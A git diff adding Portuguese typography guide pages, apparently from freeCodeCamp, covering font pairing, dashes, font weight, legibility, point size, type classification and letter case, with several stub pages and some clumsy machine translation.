+Os designers seguem diferentes filosofias para determinar quando e como combinar tipos de letra.
+
+### Âncora 1 ou Tipo de Letra
+
+Se o seu projeto envolver grandes quantidades de texto, escolha um tipo de âncora para o texto do corpo. Este tipo de âncora irá guiar o resto de suas escolhas de design, enquanto você faz testes contínuos e refinamentos para diferentes combinações de fontes contra sua âncora.
+
+### Tipos de letra contrastantes
+
+Para projetos de luz de texto, ter papéis hierárquicos claros para uma fonte não é uma preocupação tão grande quanto o impacto visual. Pare tipos de letra contrastantes, como serif mais sans-serif. Designers geralmente compartilham seus pares de tipos de letra favoritos, então pesquise e experimente até criar um resultado agradável.
+
+### Famílias Tipográficas
+
+Muitos tipos de fundições criam tipos de fontes com recursos extras extensos como vários pesos e casos, glifos decorativos, versões com serifa e sem serifa, etc. Você pode usar uma família de tipo único para garantir um design consistente, usando esses recursos extras para fornecer ênfase extra ou decoração que poderia exigir outra fonte. As famílias de tipos de letra são frequentemente um grande compromisso de consistência visual e flexibilidade tipográfica.
+
+#### Fontes
+
+1.  Tim Brown, [Combinando Tipografias: Um Guia de Bolso](https://blog.typekit.com/2016/04/29/combining-typefaces-free-guide-to-great-typography/) , PDF.
+
+#### Mais Informações:
+
+*   Shaun Pagin, [a arte de misturar fontes Google Fonts Edition](http://www.fastprint.co.uk/blog/the-art-of-mixing-typefaces.html) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/ems-and-ens/index.md b/client/src/guide/portuguese/typography/ems-and-ens/index.md
new file mode 100644
index 0000000000..bef90aaab0
--- /dev/null
+++ b/client/src/guide/portuguese/typography/ems-and-ens/index.md
@@ -0,0 +1,31 @@
+---
+title: Ems and Ens
+localeTitle: Ems e Ens
+---
+## Ems e Ens
+
+Ems e Ens são uma forma do sinal de pontuação chamado "traço". Embora semelhante na aparência a um hífen, eles servem a propósitos diferentes.
+
+### Travessão
+
+Use um traço Em para denotar uma quebra na frase. Substitua por vírgula ou denote uma pausa em uma sentença. Eles também são usados ​​para atribuir uma citação a um palestrante. Um traço Em é um em largura - a largura de um tamanho de ponto de um tipo de letra. Não coloque espaços antes e depois de um travessão. Por exemplo: O barulho da casa do vizinho está me matando.
+
+*   Comando para um traço Em em um mac: Shift-Option-Hyphen
+*   Comando para um traço Em no Microsoft Word: Alt + Ctrl + (menos)
+*   Em traço em HTML: `&mdash;` ou `&#8212;`
+
+### En Dash
+
+Use um traço En como um substituto para a palavra 'to' ou para denotar um intervalo de números. Um traço En tem metade da largura de um traço Em. Não coloque espaços antes e depois de um travessão. Por exemplo: a primeira guerra mundial durou de 1914-1918.
+
+*   Comando para um traço En em um mac: Option-Hyphen
+*   Comando para um traço En no Microsoft Word: Ctrl + (menos)
+*   En traço em HTML: `&ndash;` ou `&#8211;`
+
+#### Mais Informações:
+
+Dash - [Wikipedia](https://en.wikipedia.org/wiki/Dash#Em_dash)
+
+Pensando com o tipo por Ellen Lupton - [pensando com tipo](http://thinkingwithtype.com)
+
+Modularscale - [http://www.modularscale.com/](http://www.modularscale.com/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/font-weight-and-style/index.md b/client/src/guide/portuguese/typography/font-weight-and-style/index.md
new file mode 100644
index 0000000000..e4507167dd
--- /dev/null
+++ b/client/src/guide/portuguese/typography/font-weight-and-style/index.md
@@ -0,0 +1,30 @@
+---
+title: Font Weight and Style
+localeTitle: Peso e Estilo da Fonte
+---
+## Peso e Estilo da Fonte
+
+O peso da fonte pode ser escrito como valores de texto:
+```
+font-weight: normal; 
+ font-weight: bold; 
+```
+
+Ou como um valor numérico de `100` a `900` (em múltiplos de 100):
+```
+font-weight: 400;  /* equal to 'normal' above */ 
+ font-weight: 700; /* equal to 'bold' above */ 
+```
+
+Valor numérico e sua descrição comum
+
+| Valor | Descrição Comum | | ----- | ---------------------------- | | 100 | Fina (linha fina) | | 200 | Extra Light (Ultra Leve) | | 300 | Light | | 400 | Normal | | 500 | Medium | | 600 | Semi negrito (Demi Bold) | | 700 | Ousado | | 800 | Extra negrito (ultra negrito) | | 900 | Preto (pesado) |
+
+Nem todos os pesos estão disponíveis para todas as fontes. Algumas fontes especializadas só podem estar disponíveis em um peso (geralmente `normal` `400` ).
+
+O peso da fonte também pode ser especificado em relação ao pai de um elemento (se uma fonte tiver mais de um peso):
+```
+font-weight: lighter; 
+ font-weight: bolder; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/index.md b/client/src/guide/portuguese/typography/index.md
new file mode 100644
index 0000000000..8278e78660
--- /dev/null
+++ b/client/src/guide/portuguese/typography/index.md
@@ -0,0 +1,11 @@
+---
+title: Typography
+localeTitle: Tipografia
+---
+## Tipografia
+
+A tipografia é um campo que lida com a palavra escrita e como as letras e os caracteres são apresentados.
+
+As mesmas letras podem ser estilizadas de maneiras diferentes para transmitir emoções diferentes. E há todos os tipos de compensações em relação ao estilo versus legibilidade.
+
+Nesta seção, teremos guias para vários conceitos de tipografia.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/kerning-and-tracking/index.md b/client/src/guide/portuguese/typography/kerning-and-tracking/index.md
new file mode 100644
index 0000000000..f02f07006b
--- /dev/null
+++ b/client/src/guide/portuguese/typography/kerning-and-tracking/index.md
@@ -0,0 +1,17 @@
+---
+title: Kerning and Tracking
+localeTitle: Kerning e Rastreamento
+---
+## Kerning e Rastreamento
+
+Kerning refere-se ao espaçamento entre dois caracteres individuais dentro de uma palavra.
+
+Rastreamento refere-se ao espaçamento entre palavras.
+
+Algumas fontes não são projetadas para serem ajustadas ou rastreadas de forma muito frouxa e vice-versa. Se um kerns ou faixas muito apertadas ou muito vagas, eles correm o risco de sacrificar legibilidade e legibilidade.
+
+Ao decidir o quão apertado ou frouxo você deseja ou rastrear seu texto, é aconselhável considerar primeiro a escala na qual o texto será interagido. Se for para ser impresso, qual será a distância do texto impresso? Eles estarão dirigindo por? Será que vai ser lido em uma tela retroiluminada?
+
+Deve-se também considerar o solo positivo e negativo ao rastrear e kerning. Rastrear com muita força ou frouxamente pode resultar em relações desajeitadas de figura / fundo que irão distrair o usuário.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/legibility-and-readability/index.md b/client/src/guide/portuguese/typography/legibility-and-readability/index.md
new file mode 100644
index 0000000000..1a30854fa5
--- /dev/null
+++ b/client/src/guide/portuguese/typography/legibility-and-readability/index.md
@@ -0,0 +1,41 @@
+---
+title: Legibility and Readability
+localeTitle: Legibilidade e legibilidade
+---
+## Legibilidade e legibilidade
+
+### Legibilidade
+
+**Legibilidade** significa poder diferenciar caracteres diferentes em um texto. Texto legível implica que pode ser facilmente interpretado. Veja as características únicas de um tipo de letra ao considerar a legibilidade. Algumas das considerações são as seguintes:
+
+*   Você deve usar cada tipo de acordo com seu _contexto e uso pretendido_ . Analise a história e os melhores cenários de uso. Por exemplo: Garamond é melhor usado para grandes corpos de texto em impressão, enquanto que na Geórgia para tela.
+*   Tenha em mente se o tipo de letra é para _exibir texto ou corpo do texto_ .
+*   A altura-x de um tipo de letra é o tamanho do 'x' minúsculo em um tipo de letra. Um tipo de letra com _média a alta altura x_ resulta em um texto legível em tamanhos pequenos.
+*   Convencionalmente, os **tipos de** letra **serif** são mais legíveis para o texto do corpo do que os seus correspondentes sem serifa.
+
+### Legibilidade
+
+**Legibilidade** significa organizar grupos de palavras ou blocos de texto de tal maneira que torne o texto mais acessível. A ideia é reduzir o esforço necessário para ler um corpo de texto.
+
+Stephen Coles observa que a legibilidade, não só implora a pergunta "Você pode lê-lo?" mas se **"quer lê-lo?"** .
+
+Jason Santa Maria aponta em seu livro _On Web Typography_ que a leitura não é uma atividade linear. Nós lemos em um movimento para a frente e para trás chamado **sacadas** , que é nossos olhos pulando de um ponto para outro. Além disso, o texto com palavras familiares facilita a leitura. Alguns pontos básicos a serem lembrados ao considerar a legibilidade são os seguintes:
+
+*   **Contraste** refere-se à mudança na espessura do traço em diferentes partes da carta. Quanto maior o contraste, maior a mudança no curso. Use tipos de letra de médio a baixo contraste para corpos longos de texto.
+    
+*   **Altura da linha** refere-se à distância entre duas linhas de texto. Você não quer tornar o bloco de texto nem muito apertado nem muito solto. Você pode controlar a altura da linha no CSS pela propriedade 'line-height'. Para a maioria dos textos, você pode configurá-lo entre 1,2 e 1,5 (sem nenhuma unidade).
+    
+*   **Comprimento da linha** (medida) refere-se ao número médio de caracteres em uma linha de texto. Um comprimento de linha grande dificulta a legibilidade ao dificultar a varredura do texto pelos olhos. Normalmente, cerca de 45 a 75 caracteres por linha é ideal para um corpo de texto. Se você planeja aumentar o comprimento da linha além disso, também tome cuidado para aumentar a altura da linha para que haja espaço suficiente entre duas linhas de texto. Em CSS, você pode definir a largura do container, e usando a unidade em, você pode chegar perto de um número definido de caracteres, dependendo da relação entre largura e altura da fonte. Exemplo: largura: 35em;
+    
+*   **Rastreamento** refere-se ao ajuste do espaço entre os caracteres em um texto. Adicionar rastreamento significa adicionar espaço em branco entre os caracteres e vice-versa. Em tamanhos de fonte pequenos, ou seja, menos de 10pts, o acréscimo de acompanhamento ajuda a melhorar a legibilidade. Da mesma forma, para cabeçalhos grandes, use rastreamento negativo para aproximar as letras. Você pode controlar o rastreamento em CSS por meio da propriedade "espaçamento entre letras". Por exemplo: espaçamento entre letras: 0.05em;
+    
+*   **Tamanho da fonte** refere-se ao tamanho da fonte usada em um texto. Para exibição em dispositivos móveis, use tamanhos de pelo menos 12 px. Você pode controlar o tamanho da fonte em CSS através da propriedade 'tamanho da fonte'. Exemplo: tamanho da fonte: 48px;
+    
+
+Como você pode ver, é preciso levar em conta muitos fatores para garantir legibilidade e legibilidade ideais. Lembre-se, não há regras rígidas e rápidas para qualquer um dos fatores descritos acima. São meras orientações que podem ajudá-lo a treinar melhor seu olho tipográfico.
+
+### Links Adicionais:
+
+*   [Tipografia Prática](https://practicaltypography.com) para o básico da Tipografia.
+*   [Tutsplus Web Design](https://webdesign.tutsplus.com/articles/typographic-readability-and-legibility--webdesign-12211) - Um artigo sobre legibilidade e legibilidade
+*   [On Web Typography](https://abookapart.com/products/on-web-typography) - Um livro sobre tipografia na web.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/measuring-type/index.md b/client/src/guide/portuguese/typography/measuring-type/index.md
new file mode 100644
index 0000000000..83c7301348
--- /dev/null
+++ b/client/src/guide/portuguese/typography/measuring-type/index.md
@@ -0,0 +1,17 @@
+---
+title: Measuring Type
+localeTitle: Tipo de medição
+---
+## Tipo de medição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/measuring-type/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+Existem duas unidades de medida para medir pontos de fonte e picas
+
+Um ponto é 1/72 de polegada. O ponto também é abreviado como "pt"
+
+Uma Pica contém 12 pontos, é um pouco menos de 1/6 de polegada.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/optical-alignment/index.md b/client/src/guide/portuguese/typography/optical-alignment/index.md
new file mode 100644
index 0000000000..9dc2ded107
--- /dev/null
+++ b/client/src/guide/portuguese/typography/optical-alignment/index.md
@@ -0,0 +1,11 @@
+---
+title: Optical Alignment
+localeTitle: Alinhamento Ótico
+---
+## Alinhamento Ótico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/optical-alignment/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/page-layout/index.md b/client/src/guide/portuguese/typography/page-layout/index.md
new file mode 100644
index 0000000000..d3e2585924
--- /dev/null
+++ b/client/src/guide/portuguese/typography/page-layout/index.md
@@ -0,0 +1,35 @@
+---
+title: Page Layout
+localeTitle: Layout da página
+---
+## Layout da página
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/page-layout/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Layout da página:
+
+Layout de página é o termo usado para descrever como cada página do documento aparecerá quando for impressa. Em qualquer processador de texto (Microsoft Word, LibreOffice Writer, etc.), o layout da página inclui elementos como as margens, o número de colunas, como os cabeçalhos e rodapés aparecem e uma série de outras considerações. Ao projetar suas páginas, você pode usar as ferramentas que qualquer processador do Word coloca à sua disposição a esse respeito. Temos muitos recursos no layout da página, como:
+
+#### Orientação da página:
+
+Os processadores de texto oferecem duas (2) opções de orientação de página: Paisagem e Retrato. Paisagem significa que a página é orientada horizontalmente, enquanto retrato significa que a página é orientada verticalmente.
+
+#### Tamanho da página:
+
+Por padrão, o tamanho da página de um novo documento é 8,5 "por 11". Os processadores de texto têm vários tamanhos de página predefinidos para escolher: Carta (8,5 "por 11"), Legal (8,5 "por 14"), Executiva (7,25 "por 10,5"), A3 (11,7 "por 16,5"), A4 (8,27 "por 11,69"), A5 (5,83 "por 8,27"), A6 (4,13 "por 5,83") e outro tamanho de página.
+
+#### Margens da Página:
+
+Uma margem é o espaço entre o texto e a borda do seu documento. Por padrão, as margens de um novo documento são definidas como Normal, o que significa que ele tem um espaço de uma vez entre o texto e cada borda (superior, inferior, esquerda, direita). Outras configurações de margens de página incluem: Estreito (Superior: 0.5 "Inferior: 0.5" Esquerda: 0.5 "Direita: 0.5"), Amplo (Superior: 1 "Inferior: 1" Esquerda: 2 "Direita: 2") Moderado (Superior: 1 "Bottom: 1" Left: 0.75 "Right: 0.75") e outros.
+
+#### Numeração de Páginas:
+
+Processadores de texto nos permitem fazer a numeração de páginas em nosso documento, seja na posição superior ou na posição inferior. Ele também pode ser alinhado à esquerda, ao centro ou à direita.
+
+#### Cabeçalho e rodapé:
+
+Esta é uma característica do layout da página que nos permite inserir algum texto na cabeça ou no pé do nosso documento.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/paragraph-indications/index.md b/client/src/guide/portuguese/typography/paragraph-indications/index.md
new file mode 100644
index 0000000000..f6803c85e6
--- /dev/null
+++ b/client/src/guide/portuguese/typography/paragraph-indications/index.md
@@ -0,0 +1,11 @@
+---
+title: Paragraph Indications
+localeTitle: Parágrafo Indicações
+---
+## Parágrafo Indicações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/paragraph-indications/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/placement/index.md b/client/src/guide/portuguese/typography/placement/index.md
new file mode 100644
index 0000000000..4be8da94c0
--- /dev/null
+++ b/client/src/guide/portuguese/typography/placement/index.md
@@ -0,0 +1,11 @@
+---
+title: Placement
+localeTitle: Colocação
+---
+## Colocação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/placement/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/point-size/index.md b/client/src/guide/portuguese/typography/point-size/index.md
new file mode 100644
index 0000000000..cac751b836
--- /dev/null
+++ b/client/src/guide/portuguese/typography/point-size/index.md
@@ -0,0 +1,37 @@
+---
+title: Point Size
+localeTitle: Tamanho do ponto
+---
+## Tamanho do ponto
+
+O tamanho do ponto é uma maneira de introduzir a padronização na tipografia. O tamanho do ponto é a menor unidade de medida.
+
+No tipo de metal, o tamanho do ponto refere-se à altura do corpo de metal no qual o caractere de um tipo de letra é convertido. Nos tipos de letra digitais, o corpo de metal é substituído por uma caixa invisível, conhecida como _em quadrado_ . Cada personagem se encaixa dentro daquele em quadrado ou em caixa. O **tamanho de uma fonte é igual ao tamanho do ponto.**
+
+```css
+html{ 
+  font-size:16px; 
+ } 
+ 
+ body{ 
+  font-size:1em;  // 1em is equal to 16px 
+ } 
+```
+
+O tamanho do ponto também é usado para medir o comprimento (linha de altura), o comprimento da linha e outros elementos, além do tamanho da fonte.  
+Nos tipos de letra digitais, **um ponto é igual a 1/72 de polegada** . Doze pontos fazem uma pica. Seis picas fazem uma polegada. Uma maneira comum de representar picas e pontos é a seguinte:
+
+*   1 pica = 1p
+*   1 ponto = 1 pts ou p1
+*   6 picas e 3 pontos = 6p3
+*   Sans Abertos de 7 pontos com 9 pontos de liderança = 7/9 Open Sans
+
+O tamanho de ponto ideal para impressão é geralmente entre 10-12 pontos, enquanto que para a web, o tamanho ideal do ponto é entre 15-25 pontos. Em CSS, você deve definir o tamanho da fonte em ems ou rems do que os pixels, pois os primeiros são escaláveis ​​por natureza. Recentemente, tem havido muita conversa sobre tipografia fluida usando as unidades recém-introduzidas vw e vh. Saiba mais sobre isso aqui: [Tipografia Fluida](https://www.smashingmagazine.com/2016/05/fluid-typography/)
+
+Lembre-se de que fontes diferentes configuradas no mesmo tamanho de ponto não parecerão ser do mesmo tamanho devido às suas características individuais, a saber: x-height, modulação de traço ou contraste e largura de caractere.
+
+#### Mais Informações:
+
+*   Tipografia Prática [Tamanho em Pontos](https://practicaltypography.com/point-size.html)
+*   [Tamanho do Ponto](https://en.wikipedia.org/wiki/Point_(typography)) Wikipedia
+*   [Pensando com tipo](http://amzn.to/2yDqGNR) pensando com tipo
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/type-classifications/index.md b/client/src/guide/portuguese/typography/type-classifications/index.md
new file mode 100644
index 0000000000..ba549b9a35
--- /dev/null
+++ b/client/src/guide/portuguese/typography/type-classifications/index.md
@@ -0,0 +1,39 @@
+---
+title: Type Classifications
+localeTitle: Classificações de tipo
+---
+## Classificações de tipo
+
+Quase todas as fontes se enquadram em um grupo ou outro. Este sistema de classificação de fontes desenvolveu-se no século XIX. Cada tipo tem sua própria estrutura visual, influências, intenção e significado histórico.
+
+A classificação básica de tipos de letra é a seguinte:
+
+*   **Serifas** : Esses tipos de letra têm pequenas extensões, que embelezam a estrutura básica de um tipo de letra. Os tipos de letra Serif existem desde o início do tipo. Eles são visíveis em estilo antigo e serifas do tipo humanista como Garamond. Baskerville, outra fonte serifada pertence à era de transição. Bodoni e Rockwell são parte de tipos modernos e Slav serif (Egípcios).
+    
+*   **Sans-serif** : Sans significa sem. Esses tipos de letra são desprovidos dessas pequenas extensões, portanto, sem serif. Exemplos incluem Gill sans, que tem conotações humanistas, Helvetica com suas características de transição e assim por diante.
+    
+*   **Script** : Formulários de carta desenvolvidos em estreita relação com a caligrafia humana são fontes de script. Eles são flexíveis na natureza com larguras variadas de traçado. Exemplo: Bistro Script, Shelly, Minstral etc.
+    
+*   **Blackletter** : Um estilo de caligrafia ousado usado fortemente durante o renascimento. Exemplo: Fraktur
+    
+*   **Decorativo** : Tipos que não se encaixam em outras categorias são decorativos por natureza. Construído para casos de uso específicos que consistem principalmente em manchetes, cartazes etc.
+    
+    Além disso, três grupos principais para classificar o tipo correspondente a diferentes períodos de tempo na arte e na literatura são os seguintes:
+    
+*   Formas **humanistas de** letras pertencem ao período renascentista do século XV e XVI. Eles imitam de perto a caligrafia e o movimento da mão humana. Velhas serifas seguiam as formas de cartas humanistas. Exemplos de tipo humanista são: Sabon, Centauro, Adobd Jenson, Gill Sans etc.
+    
+*   Formulários de cartas de **transição** fazem parte da era barroca. Eles representam uma transição de tipos de letra humanistas de estilo antigo para tipos de letra modernos. Exemplos são: Baskerville, Times Roman, Helvetica etc.
+    
+*   Formas de letras **modernas** fazem parte do período de iluminação do século XVIII a XIX. Eles descrevem uma mudança radical da tipografia tradicional para um design mais abstrato. Exemplos são: Bodoni, Futura etc.
+    
+
+![Imagem da Classificação de Tipo](http://thinkingwithtype.com/images/Thinking_with_Type_Letter_12.gif)
+
+> Imagem tirada da versão on-line do livro Thinking with Type, de Ellen Lupton
+
+#### Mais Informações:
+
+*   Histórico de Design do [Tipo de Classificação](http://www.designishistory.com/1450/type-classification/)
+*   [Classificação Vox-Atypl](https://en.wikipedia.org/wiki/Vox-ATypI_classification) Wikipedia
+*   [Pensando com o tipo](http://thinkingwithtype.com/letter/#type-classification)
+*   [Classificação de Tipo - 6 séries de peças](http://ilovetypography.com/2007/11/06/type-terminology-humanist-2/) eu amo Tipografia
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/type-families/index.md b/client/src/guide/portuguese/typography/type-families/index.md
new file mode 100644
index 0000000000..a5d4725f74
--- /dev/null
+++ b/client/src/guide/portuguese/typography/type-families/index.md
@@ -0,0 +1,33 @@
+---
+title: Type Families
+localeTitle: Famílias Tipo
+---
+## Famílias Tipo
+
+### Informação geral
+
+As famílias de tipos são intervalos de designs de tipos de letra. Cada família é uma variação de um estilo básico de alfabeto. Existem centenas ou talvez milhares de famílias de tipos.
+
+Estilo de referência:
+
+![Família tipo Neue Helvetica](https://upload.wikimedia.org/wikipedia/commons/0/00/Helvetica_Neue_typeface_weights.svg)
+
+### História
+
+As famílias conceito do tipo não tinham sido formadas quando as fontes foram inventadas, e todas as fontes eram desenhos romanos. Durante os primeiros anos do século XVI, o tipo cursivo foi introduzido. Cursive também foi chamado de itálico, em homenagem a Itália, onde a idéia foi popularizada. Os romanos eram um tipo de estilo e o itálico era outro, como serif e sans serif, e ainda não havia famílias de tipos.
+
+### Pontuação
+
+A pontuação dá emoção ao tipo e fornece indicações sobre quando parar, desacelerar e muito mais.
+
+### Existem sete tipos de famílias de fontes
+
+*   Estilo antigo
+*   Transitório
+*   Moderno
+*   Laje Serif
+*   Sem serifa
+*   Decorativo
+*   Script-Cursivo
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/type-styles/index.md b/client/src/guide/portuguese/typography/type-styles/index.md
new file mode 100644
index 0000000000..01d1a8d782
--- /dev/null
+++ b/client/src/guide/portuguese/typography/type-styles/index.md
@@ -0,0 +1,11 @@
+---
+title: Type Styles
+localeTitle: Estilos de tipos
+---
+## Estilos de tipos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/type-styles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/typeface/index.md b/client/src/guide/portuguese/typography/typeface/index.md
new file mode 100644
index 0000000000..7d0dbbbc73
--- /dev/null
+++ b/client/src/guide/portuguese/typography/typeface/index.md
@@ -0,0 +1,23 @@
+---
+title: Typeface
+localeTitle: Tipo de letra
+---
+## Tipo de letra
+
+Em modernday web-design, a palavra "font" veio para definir o que é realmente chamado "typeface" no mundo do design profissional. De fato, typeface significa algo que conhecemos como estilo distintivo de font-family: uma forma específica de letras (profissionalmente conhecidas como glifos), baseada na qual fontes diferentes são geradas por meio da adição de peso da fonte (negrito, semi-negrito, etc) ou fazendo as letras em itálico e assim por diante.
+
+Para dar um exemplo simples, todas as fontes diferentes na imagem abaixo pertencem à mesma fonte chamada "Futura", mas o estilo diferente das letras com as mesmas formas (glifos) produz diferentes efeitos visuais para cada fonte.
+
+![Tipo de letra Futura](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2009/10/Futura.gif)
+
+Imagem cortesia de [Sitepoint.com](https://www.sitepoint.com/typography-concordant-contrasting-conflicting/)
+
+Os estilos de tipos de letra mais comuns incluem:
+
+*   Serif
+*   Monospace
+*   Roteiro
+
+**Dica de designer iniciante:** embora as fontes de script, como fontes de pincel ou caligrafia e escrita à mão, possam estar realmente modernas no design da Web agora, uma combinação ruim de fontes pode realmente arruinar a estética da página. Portanto, tente evitar misturar em duas fontes. Na verdade, nem mesmo vá para dois! Comece com um tipo de letra (ie font-family) que oferece vários estilos (fontes). Isso garantirá que as fontes que você usa se misturarão bem. Use a versão em negrito para cabeçalhos principais e versão light para texto. Quando você se sentir seguro com sua escolha de tipos de fontes correspondentes, sinta-se à vontade para tentar misturar seus próprios pares de fontes.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/typographic-hierarchy/index.md b/client/src/guide/portuguese/typography/typographic-hierarchy/index.md
new file mode 100644
index 0000000000..2f0f62d669
--- /dev/null
+++ b/client/src/guide/portuguese/typography/typographic-hierarchy/index.md
@@ -0,0 +1,26 @@
+---
+title: Typographic Hierarchy
+localeTitle: Hierarquia Tipográfica
+---
+## Hierarquia Tipográfica
+```
+  A webpage itself has a hierarchy that not only is read, but contains interaction. The page as a whole must be designed in a way that clearly communicates to the user what actions are available and how to easily access the information they seek, how to purchase an item, etc. 
+ 
+  For the purpose of this article, however, we're talking strictly about hierarchy as it applies to type. Luckily for us, we have our own handy HTML tag that lets us semantically establish typographic hierarchy into the websites we build. Heading tags (H tags) allow us to specify an order of importance into our content: H1 through H6, H1 being most important, H6 being least. Search engines use this data to interpret priority of content on a webpage.The H tag can be styled by using the following attributes. 
+```
+
+\-Tamanho Esse é o método mais fácil e mais comum para estabelecer hierarquia.
+
+\-Peso Simplesmente usar um peso mais ousado de uma fonte pode ajudar a isolar.
+
+\-Cor A cor desempenha um papel importante no que o olho vê como primário e secundário. De um modo geral; cores quentes pop, cores mais frias recuam.
+
+\-Posição Onde seções de informações são posicionadas em relação umas às outras pode estabelecer uma hierarquia.
+
+Tipo de contraste Uma ótima maneira de obter hierarquia é usar tipos de letra contrastantes.
+
+Assuntos de espaçamento! Um dos conceitos mais importantes no design de tipos é o espaçamento. É um dos conceitos mais difíceis de entender para designers iniciantes, mas também é um dos mais visualmente óbvios. Espaçamento tipográfico adequado é fundamental para estabelecer hierarquia; pode fazer a diferença entre confusão e clareza. Ele é usado na maioria dos sistemas hierárquicos e está presente em todos os exemplos deste artigo.
+
+#### Mais Informações:
+
+Você pode referir-https: //webdesign.tutsplus.com/articles/understanding-typographic-hierarchy--webdesign-11636
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/typographic-measurements/index.md b/client/src/guide/portuguese/typography/typographic-measurements/index.md
new file mode 100644
index 0000000000..1e0e5f5135
--- /dev/null
+++ b/client/src/guide/portuguese/typography/typographic-measurements/index.md
@@ -0,0 +1,11 @@
+---
+title: Typographic Measurements
+localeTitle: Medidas tipográficas
+---
+## Medidas tipográficas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/typography/typographic-measurements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/upper-and-lower-case/index.md b/client/src/guide/portuguese/typography/upper-and-lower-case/index.md
new file mode 100644
index 0000000000..1c567130d9
--- /dev/null
+++ b/client/src/guide/portuguese/typography/upper-and-lower-case/index.md
@@ -0,0 +1,30 @@
+---
+title: Upper and Lower Case
+localeTitle: Maiúsculas e Minúsculas
+---
+## Maiúsculas e Minúsculas
+
+Maiúsculas (UC) é, alternativamente, conhecido como maiúsculas e capital. É um tipo de caracteres maiores. Minúsculas (LC) é um tipo de caracteres pequenos. Enquanto a tecla shift não estiver sendo pressionada e o Caps lock não estiver ativo, tudo que for digitado estará em letras minúsculas. As maiúsculas e minúsculas são frequentemente sinónimo de Majuscule e Minuscule.
+
+Muitas línguas têm duas representações escritas diferentes de suas letras, **maiúsculas** e **minúsculas** , também conhecidas como formas maiúsculas e minúsculas.
+
+Letras maiúsculas e minúsculas são frequentemente misturadas na mesma parte do texto. O uso de casos é decidido pela gramática, mas também existe uma variedade de [estilos](https://en.wikipedia.org/wiki/Letter_case#Case_styles) de [casos](https://en.wikipedia.org/wiki/Letter_case#Case_styles) . Certos estilos de casos são comuns na programação de computadores, chamados de [convenções de nomenclatura](https://guide.freecodecamp.org/javascript/naming-convention-for-javascript) , como CamelCase e snake\_case.
+
+## Em maiúsculas:
+
+a B C D e F G H I J K L M N o p q R S T U V W x y Z
+
+## Minúsculas:
+
+a B C D e F G H I J K L M N o p q R S T U V W x y Z
+
+A capitalização é importante pelos seguintes motivos:
+
+*   Senhas: as senhas diferenciam maiúsculas de minúsculas, portanto, a capitalização adiciona um nível extra de segurança.
+*   Medições: Ao lidar com medição por computador e outras medições, a capitalização é importante para identificar o tipo exato de medição. Por exemplo, "Mb" (abreviação de Megabit) e "MB" (abreviação de Megabyte) são dois tipos diferentes de medidas com valores diferentes.
+*   Comandos
+*   Nomes de arquivos, diretórios e caminhos.
+
+#### Mais Informações:
+
+[Esperança de Computador](https://www.computerhope.com/jargon/u/uppercase.htm) [Esperança de Computador](https://www.computerhope.com/jargon/l/lowercas.htm) [Wikipedia](https://en.m.wikipedia.org/wiki/Letter_case)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/typography/where-to-get-fonts/index.md b/client/src/guide/portuguese/typography/where-to-get-fonts/index.md
new file mode 100644
index 0000000000..b0f74924f0
--- /dev/null
+++ b/client/src/guide/portuguese/typography/where-to-get-fonts/index.md
@@ -0,0 +1,68 @@
+---
+title: Where to Get Fonts
+localeTitle: Onde obter fontes
+---
+## Onde obter fontes
+
